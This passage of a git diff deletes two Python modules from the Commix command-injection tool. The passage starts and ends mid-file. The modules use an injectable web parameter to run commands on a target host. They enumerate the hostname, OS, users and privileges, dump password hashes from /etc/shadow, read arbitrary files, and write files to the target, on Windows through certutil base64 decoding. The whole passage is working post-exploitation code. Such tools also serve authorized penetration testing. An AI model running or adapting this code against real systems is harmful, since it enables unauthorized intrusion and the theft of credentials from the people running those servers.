Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -import re -import sys - -from src.utils import logs -from src.utils import menu -from src.utils import settings -from src.utils import session_handler - -from src.core.injections.controller import checks - -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.injections.semiblind.techniques.file_based import fb_injector - -""" -The "file-based" technique on semiblind OS command injection. -""" - -""" -Powershell's version number enumeration (for Windows OS) -""" -def powershell_version(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - cmd = settings.PS_VERSION - if alter_shell: - cmd = cmd.replace("'","\\'") - else: - cmd = "\"" + cmd + "\"" - # Evaluate injection results. - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Evaluate injection results. - ps_version = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - ps_version = "".join(str(p) for p in ps_version) - session_handler.store_cmd(url, cmd, ps_version, vuln_parameter) - else: - ps_version = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - try: - if float(ps_version): - settings.PS_ENABLED = True - # if settings.VERBOSITY_LEVEL != 0: - # print(settings.SINGLE_WHITESPACE) - # Output PowerShell's version number - info_msg = "The PowerShell's version number is " - info_msg += ps_version + Style.RESET_ALL + Style.BRIGHT - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - info_msg = "The PowerShell's version number is " + ps_version + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - except ValueError: - warn_msg = "Heuristics have failed to identify the version of Powershell, " - warn_msg += "which means that some payloads or injection techniques may be failed." - print(settings.print_warning_msg(warn_msg)) - settings.PS_ENABLED = False - -""" -Hostname enumeration -""" -def hostname(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - if settings.TARGET_OS == "win": - settings.HOSTNAME = settings.WIN_HOSTNAME - cmd = settings.HOSTNAME - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Evaluate injection results. - shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - shell = "".join(str(p) for p in shell) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if shell: - # if settings.VERBOSITY_LEVEL != 0: - # print(settings.SINGLE_WHITESPACE) - info_msg = "The hostname is " + str(shell) - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - info_msg = "The hostname is " + str(shell) + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to identify the hostname." - print(settings.print_warning_msg(warn_msg)) - -""" -Retrieve system information -""" -def system_information(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - if settings.TARGET_OS == "win": - settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS - cmd = settings.RECOGNISE_OS - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Evaluate injection results. - target_os = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - target_os = "".join(str(p) for p in target_os) - session_handler.store_cmd(url, cmd, target_os, vuln_parameter) - else: - target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if target_os: - target_os = "".join(str(p) for p in target_os) - if settings.TARGET_OS != "win": - cmd = settings.DISTRO_INFO - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - distro_name = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - distro_name = "".join(str(p) for p in distro_name) - if len(distro_name) != 0: - target_os = target_os + " (" + distro_name + ")" - session_handler.store_cmd(url, cmd, target_os, vuln_parameter) - else: - target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if settings.TARGET_OS == "win": - cmd = settings.WIN_RECOGNISE_HP - else: - cmd = settings.RECOGNISE_HP - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Evaluate injection results. - target_arch = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - target_arch = "".join(str(p) for p in target_arch) - session_handler.store_cmd(url, cmd, target_arch, vuln_parameter) - else: - target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if target_arch: - # if settings.VERBOSITY_LEVEL != 0: - # print(settings.SINGLE_WHITESPACE) - info_msg = "The target operating system is " + str(target_os) + Style.RESET_ALL - info_msg += Style.BRIGHT + " and the hardware platform is " + str(target_arch) - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - info_msg = "The target operating system is " + str(target_os) - info_msg += " and the hardware platform is " + str(target_arch) + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to retrieve the system information." - print(settings.print_warning_msg(warn_msg)) - -""" -The current user enumeration -""" -def current_user(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - if settings.TARGET_OS == "win": - settings.CURRENT_USER = settings.WIN_CURRENT_USER - cmd = settings.CURRENT_USER - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Evaluate injection results. - cu_account = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - cu_account = "".join(str(p) for p in cu_account) - session_handler.store_cmd(url, cmd, cu_account, vuln_parameter) - else: - cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if cu_account: - # Check if the user have super privileges. - if menu.options.is_root or menu.options.is_admin: - if settings.TARGET_OS == "win": - cmd = settings.IS_ADMIN - else: - cmd = settings.IS_ROOT - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Evaluate injection results. - shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - shell = "".join(str(p) for p in shell) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - info_msg = "The current user is " + str(cu_account) - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - info_msg = "The current user is " + str(cu_account) - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - if shell: - if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ - (settings.TARGET_OS != "win" and shell != "0"): - sys.stdout.write(Style.BRIGHT + " and it is " + "not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".\n") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(" and it is not privileged.\n") - output_file.close() - else: - sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".\n") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(" and it is privileged.\n") - output_file.close() - else: - # if settings.VERBOSITY_LEVEL != 0: - # print(settings.SINGLE_WHITESPACE) - info_msg = "The current user is " + str(cu_account) - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - info_msg = "The current user is " + str(cu_account) + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to identify the current user." - print(settings.print_warning_msg(warn_msg)) - -""" -System users enumeration -""" -def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - if settings.TARGET_OS == "win": - settings.SYS_USERS = settings.WIN_SYS_USERS - settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))" - if alter_shell: - settings.SYS_USERS = settings.SYS_USERS.replace("'","\\'") - else: - settings.SYS_USERS = "\"" + settings.SYS_USERS + "\"" - cmd = settings.SYS_USERS - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Evaluate injection results. - sys_users = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - sys_users = "".join(str(p) for p in sys_users) - session_handler.store_cmd(url, cmd, sys_users, vuln_parameter) - else: - sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - # Windows users enumeration. - if settings.TARGET_OS == "win": - # if settings.VERBOSITY_LEVEL != 0: - # print(settings.SINGLE_WHITESPACE) - info_msg = "Executing the 'net users' command " - info_msg += "to enumerate users entries. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - try: - if sys_users[0] : - sys_users = "".join(str(p) for p in sys_users).strip() - sys.stdout.write(settings.SUCCESS_STATUS) - sys_users_list = re.findall(r"(.*)", sys_users) - sys_users_list = "".join(str(p) for p in sys_users_list).strip() - sys_users_list = ' '.join(sys_users_list.split()) - sys_users_list = sys_users_list.split() - info_msg = "Identified " + str(len(sys_users_list)) - info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " via 'net users' command.\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - count = 0 - for user in range(0, len(sys_users_list)): - count = count + 1 - if menu.options.privileges: - cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')" - if alter_shell: - cmd = cmd.replace("'","\\'") - else: - cmd = "\"" + cmd + "\"" - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - check_privs = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - check_privs = "".join(str(p) for p in check_privs).strip() - check_privs = re.findall(r"(.*)", check_privs) - check_privs = "".join(str(p) for p in check_privs).strip() - check_privs = check_privs.split() - if "Admin" in check_privs[0]: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " admin user" - is_privileged_nh = " is admin user " - else: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user" - is_privileged_nh = " is regular user " - else : - is_privileged = "" - is_privileged_nh = "" - # if settings.VERBOSITY_LEVEL != 0: - # print(settings.SINGLE_WHITESPACE) - print(" (" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(" (" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" ) - output_file.close() - else: - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() - warn_msg = "It seems that you don't have permissions to enumerate users entries." - print("\n" + settings.print_warning_msg(warn_msg)) # Unix-like users enumeration. - except TypeError: - sys.stdout.write(settings.FAIL_STATUS + "\n") - sys.stdout.flush() - pass - - except IndexError: - sys.stdout.write(settings.FAIL_STATUS) - warn_msg = "It seems that you don't have permissions to enumerate users entries.\n" - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - pass - else: - # if settings.VERBOSITY_LEVEL != 0: - # print(settings.SINGLE_WHITESPACE) - info_msg = "Fetching '" + settings.PASSWD_FILE - info_msg += "' to enumerate users entries. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - try: - if sys_users[0] : - sys_users = "".join(str(p) for p in sys_users).strip() - if len(sys_users.split(" ")) <= 1 : - sys_users = sys_users.split("\n") - else: - sys_users = sys_users.split(" ") - # Check for appropriate '/etc/passwd' format. - if len(sys_users) % 3 != 0 : - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() - warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is " - warn_msg += "not in the appropriate format. Thus, it is expoted as a text file." - print("\n" + settings.print_warning_msg(warn_msg)) - sys_users = " ".join(str(p) for p in sys_users).strip() - print(sys_users) - output_file = open(filename, "a") - output_file.write(" " + sys_users) - output_file.close() - else: - sys_users_list = [] - for user in range(0, len(sys_users), 3): - sys_users_list.append(sys_users[user : user + 3]) - if len(sys_users_list) != 0 : - sys.stdout.write(settings.SUCCESS_STATUS) - info_msg = "Identified " + str(len(sys_users_list)) - info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " in '" + settings.PASSWD_FILE + "'.\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - count = 0 - for user in range(0, len(sys_users_list)): - sys_users = sys_users_list[user] - sys_users = ":".join(str(p) for p in sys_users) - count = count + 1 - fields = sys_users.split(":") - fields1 = "".join(str(p) for p in fields) - # System users privileges enumeration - try: - if not fields[2].startswith("/"): - raise ValueError() - if menu.options.privileges: - if int(fields[1]) == 0: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user " - is_privileged_nh = " is root user " - elif int(fields[1]) > 0 and int(fields[1]) < 99 : - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user " - is_privileged_nh = " is system user " - elif int(fields[1]) >= 99 and int(fields[1]) < 65534 : - if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user " - is_privileged_nh = " is anonymous user " - elif int(fields[1]) == 60002: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user " - is_privileged_nh = " is non-trusted user " - else: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user " - is_privileged_nh = " is regular user " - else : - is_privileged = "" - is_privileged_nh = "" - else : - is_privileged = "" - is_privileged_nh = "" - print(" (" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) - output_file.close() - except ValueError: - if count == 1 : - warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is not in the " - warn_msg += "appropriate format. Thus, it is expoted as a text file." - print(settings.print_warning_msg(warn_msg)) - sys_users = " ".join(str(p) for p in sys_users.split(":")) - print(sys_users) - output_file = open(filename, "a") - output_file.write(" " + sys_users) - output_file.close() - else: - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() - warn_msg = "It seems that you don't have permissions to read '" - warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." - print("\n" + settings.print_warning_msg(warn_msg)) - except TypeError: - sys.stdout.write(settings.FAIL_STATUS + "\n") - sys.stdout.flush() - pass - - except IndexError: - sys.stdout.write(settings.FAIL_STATUS) - warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" - warn_msg += settings.PASSWD_FILE + "' to enumerate users entries.\n" - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - pass - -""" -System passwords enumeration -""" -def system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - if settings.TARGET_OS == "win": - # Not yet implemented! - pass - else: - cmd = settings.SYS_PASSES - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Evaluate injection results. - sys_passes = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - sys_passes = "".join(str(p) for p in sys_passes) - session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter) - else: - sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if sys_passes == "": - sys_passes = " " - # if settings.VERBOSITY_LEVEL != 0: - # print(settings.SINGLE_WHITESPACE) - info_msg = "Fetching '" + settings.SHADOW_FILE - info_msg += "' to enumerate users password hashes. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - sys_passes = "".join(str(p) for p in sys_passes) - sys_passes = sys_passes.replace(" ", "\n") - sys_passes = sys_passes.split( ) - if len(sys_passes) != 0 : - sys.stdout.write(settings.SUCCESS_STATUS) - info_msg = "Identified " + str(len(sys_passes)) - info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1] - info_msg += " in '" + settings.SHADOW_FILE + "'.\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) - output_file.close() - count = 0 - for line in sys_passes: - count = count + 1 - try: - if ":" in line: - fields = line.split(":") - if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "": - print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") - output_file.close() - # Check for appropriate '/etc/shadow' format. - except IndexError: - if count == 1 : - warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not " - warn_msg += "in the appropriate format. Thus, it is expoted as a text file." - sys.stdout.write(settings.print_warning_msg(warn_msg)+ "\n") - print(fields[0]) - output_file = open(filename, "a") - output_file.write(" " + fields[0]) - output_file.close() - else: - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() - warn_msg = "It seems that you don't have permissions to read '" - warn_msg += settings.SHADOW_FILE + "' to enumerate users password hashes." - print("\n" + settings.print_warning_msg(warn_msg)) - -""" -Single os-shell execution -""" -def single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - cmd = menu.options.os_cmd - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Evaluate injection results. - shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - shell = "".join(str(p) for p in shell) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if shell: - if shell != "": - print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n") - logs.print_logs_notification(filename, url) - else: - err_msg = "The '" + cmd + "' command, does not return any output." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - -""" -Check the defined options -""" -def do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - - # if not settings.VERBOSITY_LEVEL != 0 and not settings.ENUMERATION_DONE: - # print(settings.SINGLE_WHITESPACE) - - # Check if PowerShell is enabled. - if not menu.options.ps_version and settings.TARGET_OS == "win": - checks.ps_check() - - if menu.options.ps_version and settings.PS_ENABLED == None: - if not checks.ps_incompatible_os(): - powershell_version(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - settings.ENUMERATION_DONE = True - - if menu.options.hostname: - hostname(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - settings.ENUMERATION_DONE = True - - if menu.options.current_user: - current_user(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - settings.ENUMERATION_DONE = True - - if menu.options.sys_info: - system_information(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - settings.ENUMERATION_DONE = True - - if menu.options.users: - system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - settings.ENUMERATION_DONE = True - - if menu.options.passwords: - system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - settings.ENUMERATION_DONE = True - -# eof diff --git a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py deleted file mode 100755 index 02520e48d3..0000000000 --- a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py +++ /dev/null @@ -1,224 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -import re -import os -import sys -from src.thirdparty.six.moves import urllib as _urllib - - -from src.utils import menu -from src.utils import settings -from src.utils import session_handler - -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.injections.semiblind.techniques.file_based import fb_injector - -""" -The "file-based" technique on semiblind OS command injection. -""" - -""" -Read a file from the target host. -""" -def file_read(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - file_to_read = menu.options.file_read - # Execute command - if settings.TARGET_OS == "win": - cmd = settings.WIN_FILE_READ + file_to_read - else: - cmd = settings.FILE_READ + file_to_read - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Evaluate injection results. - shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - shell = "".join(str(p) for p in shell) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session: - print(settings.SINGLE_WHITESPACE) - if shell: - info_msg = "The contents of file '" - info_msg += file_to_read + "'" + Style.RESET_ALL + ": " - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - print(shell) - output_file = open(filename, "a") - info_msg = "The contents of file '" - info_msg += file_to_read + "' : " + shell + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "It seems that you don't have permissions " - warn_msg += "to read the '" + file_to_read + "' file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() - -""" -Write to a file on the target host. -""" -def file_write(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - file_to_write = menu.options.file_write - if not os.path.exists(file_to_write): - warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() - raise SystemExit() - - if os.path.isfile(file_to_write): - with open(file_to_write, 'r') as content_file: - content = [line.replace("\r\n", "\n").replace("\r", "\n").replace("\n", " ") for line in content_file] - content = "".join(str(p) for p in content).replace("'", "\"") - if settings.TARGET_OS == "win": - import base64 - content = base64.b64encode(content) - else: - warn_msg = "It seems that '" + file_to_write + "' is not a file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() - - if os.path.split(menu.options.file_dest)[1] == "" : - dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1] - elif os.path.split(menu.options.file_dest)[0] == "/": - dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1] - else: - dest_to_write = menu.options.file_dest - - # Execute command - if settings.TARGET_OS == "win": - dest_to_write = dest_to_write.replace("\\","/") - # Find path - path = os.path.dirname(dest_to_write) - path = path.replace("/","\\") - # Change directory - cmd = "cd " + path + separator +separator + " " + settings.WIN_COMMENT - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Find filename - filname = os.path.basename(dest_to_write) - tmp_filname = "tmp_" + filname - cmd = settings.FILE_WRITE + " " + content + ">" + tmp_filname + separator + " " + settings.WIN_COMMENT - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Decode base 64 encoding - cmd = "certutil -decode " + tmp_filname + " " + filname + separator + " " + settings.WIN_COMMENT - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - #fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - # Delete tmp file - cmd = "del " + tmp_filname + separator + " " + settings.WIN_COMMENT - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - #fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - # Check if file exists - cmd = "cmd /c if exist " + filname + " (echo " + filname + ")" - dest_to_write = path + "\\" + filname - - else: - cmd = settings.FILE_WRITE + " '" + content + "'" + ">" + "'" + dest_to_write + "'" + settings.COMMENT - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - shell = "".join(str(p) for p in shell) - # Check if file exists - cmd = "echo $(ls " + dest_to_write + ")" - - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - shell = "".join(str(p) for p in shell) - if shell: - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - info_msg = "The " + shell + Style.RESET_ALL - info_msg += Style.BRIGHT + " file was created successfully!" + "\n" - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - else: - warn_msg = "It seems that you don't have permissions to write the '" + dest_to_write + "' file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() - -""" -Upload a file on the target host. -""" -def file_upload(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - if settings.TARGET_OS == "win": - # Not yet implemented - pass - else: - 